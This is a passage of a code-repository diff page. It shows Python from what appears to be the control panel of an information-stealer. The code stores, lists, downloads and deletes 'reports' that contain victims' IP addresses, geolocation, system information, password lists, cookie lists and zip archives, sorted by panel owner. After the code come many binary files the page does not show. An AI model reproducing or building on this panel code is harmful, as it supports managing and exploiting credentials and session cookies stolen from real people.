"VALUES (?, ?, ?, ?, ?, ?, ?, ?)",
|
||||||
|
values=[zip_name, ip, self.counter, self.information, self.passwords_list, self.cookies_list, time(), owner],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
# Write report to archive
|
||||||
|
with open(zip_path, "wb") as archive:
|
||||||
|
archive.write(self.archive)
|
||||||
|
|
||||||
|
# Remove report from disk and database
|
||||||
|
def DeleteReport(self):
|
||||||
|
# Get archive name from database
|
||||||
|
archive_name = reports_db.execute(
|
||||||
|
sql="SELECT archive FROM reports WHERE id = ?",
|
||||||
|
values=[self.id],
|
||||||
|
commit_changes=False
|
||||||
|
)[0][0]
|
||||||
|
# Delete report from database
|
||||||
|
reports_db.execute(
|
||||||
|
sql="DELETE FROM reports WHERE id = ?",
|
||||||
|
values=[self.id],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
zip_file = path.join(REPORTS_DIR, archive_name)
|
||||||
|
# Delete report from disk
|
||||||
|
if path.exists(zip_file):
|
||||||
|
remove(zip_file)
|
||||||
|
|
||||||
|
# Set comment
|
||||||
|
def ChangeComment(self, text: str):
|
||||||
|
# Delete report from database
|
||||||
|
reports_db.execute(
|
||||||
|
sql="UPDATE reports SET comment = ? WHERE id = ?",
|
||||||
|
values=[text, self.id],
|
||||||
|
commit_changes=True
|
||||||
|
)
|
||||||
|
|
||||||
|
# Get archive bytes
|
||||||
|
def GetArchive(self) -> tuple:
|
||||||
|
# Fetch reports
|
||||||
|
response = reports_db.execute(
|
||||||
|
sql="SELECT archive, ip_address, time FROM reports WHERE id = ?",
|
||||||
|
values=[self.id],
|
||||||
|
commit_changes=False
|
||||||
|
)[0]
|
||||||
|
# Read and decompress archive from disk
|
||||||
|
zip_path = path.join(REPORTS_DIR, response[0])
|
||||||
|
if path.exists(zip_path) == True:
|
||||||
|
with open(zip_path, "rb") as archive:
|
||||||
|
# Generate archive name
|
||||||
|
fmt = "%d-%m-%Y %H:%M:%S"
|
||||||
|
name = f"report [{response[1]}] {strftime(fmt, localtime(response[2]))}.zip"
|
||||||
|
# Return handle with generated name
|
||||||
|
return BytesIO(archive.read()), name
|
||||||
|
|
||||||
|
return BytesIO(b''), "error"
|
||||||
|
|
||||||
|
# Check if user is report owner
|
||||||
|
def IsReportOwner(self, owner: str) -> bool:
|
||||||
|
response = reports_db.execute(
|
||||||
|
sql="SELECT owner FROM reports WHERE id = ?",
|
||||||
|
values=[self.id],
|
||||||
|
commit_changes=False
|
||||||
|
)[0]
|
||||||
|
return owner.__eq__(response[0])
|
||||||
|
|
||||||
|
# Get reports
|
||||||
|
@staticmethod
|
||||||
|
def GetReports(owner: str, identification: int = None, geo_data_dict: bool = False) -> list:
|
||||||
|
reports = []
|
||||||
|
# Fetch all reports
|
||||||
|
if identification is None:
|
||||||
|
response = reports_db.execute(
|
||||||
|
sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? ORDER BY time DESC",
|
||||||
|
values=[owner],
|
||||||
|
commit_changes=False
|
||||||
|
)
|
||||||
|
# Fetch one report
|
||||||
|
else:
|
||||||
|
response = reports_db.execute(
|
||||||
|
sql="SELECT id, archive, ip_address, counter, information, passwords_list, cookies_list, comment, time FROM reports WHERE owner = ? AND id = ?",
|
||||||
|
values=[owner, identification],
|
||||||
|
commit_changes=False
|
||||||
|
)
|
||||||
|
# Enumerate all reports
|
||||||
|
for row in response:
|
||||||
|
|
||||||
|
# Append geo data for report
|
||||||
|
geo = geo_ip.get(row[2])
|
||||||
|
if geo is None: geo = {}
|
||||||
|
geo["ip_address"] = row[2]
|
||||||
|
if geo_data_dict is False:
|
||||||
|
geo = GeoData(geo)
|
||||||
|
|
||||||
|
# Append time data for report
|
||||||
|
fmt = "%d.%m.%Y %H:%M:%S"
|
||||||
|
date = strftime(fmt, localtime(row[8]))
|
||||||
|
ago = timeago(row[8])
|
||||||
|
add_time = f"{date} ({ago})"
|
||||||
|
|
||||||
|
# Parse JSON counter values
|
||||||
|
try:
|
||||||
|
counter = parse_json(row[3])
|
||||||
|
except Exception:
|
||||||
|
# On JSON parse error
|
||||||
|
counter = ReportsJsonErrors.default_counter
|
||||||
|
|
||||||
|
# Parse JSON os information values
|
||||||
|
try:
|
||||||
|
information = parse_json(row[4])
|
||||||
|
except Exception:
|
||||||
|
# On JSON parse error
|
||||||
|
information = ReportsJsonErrors.default_information
|
||||||
|
|
||||||
|
# Create report object
|
||||||
|
new = Report(
|
||||||
|
identification=row[0],
|
||||||
|
archive=row[1],
|
||||||
|
counter=counter,
|
||||||
|
add_time=add_time,
|
||||||
|
cookies_list=row[6],
|
||||||
|
passwords_list=row[5],
|
||||||
|
comment=row[7],
|
||||||
|
geo_data=geo,
|
||||||
|
information=information,
|
||||||
|
)
|
||||||
|
reports.append(new)
|
||||||
|
|
||||||
|
return reports
|
||||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
|||||||
|
# Coded by [email protected]
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user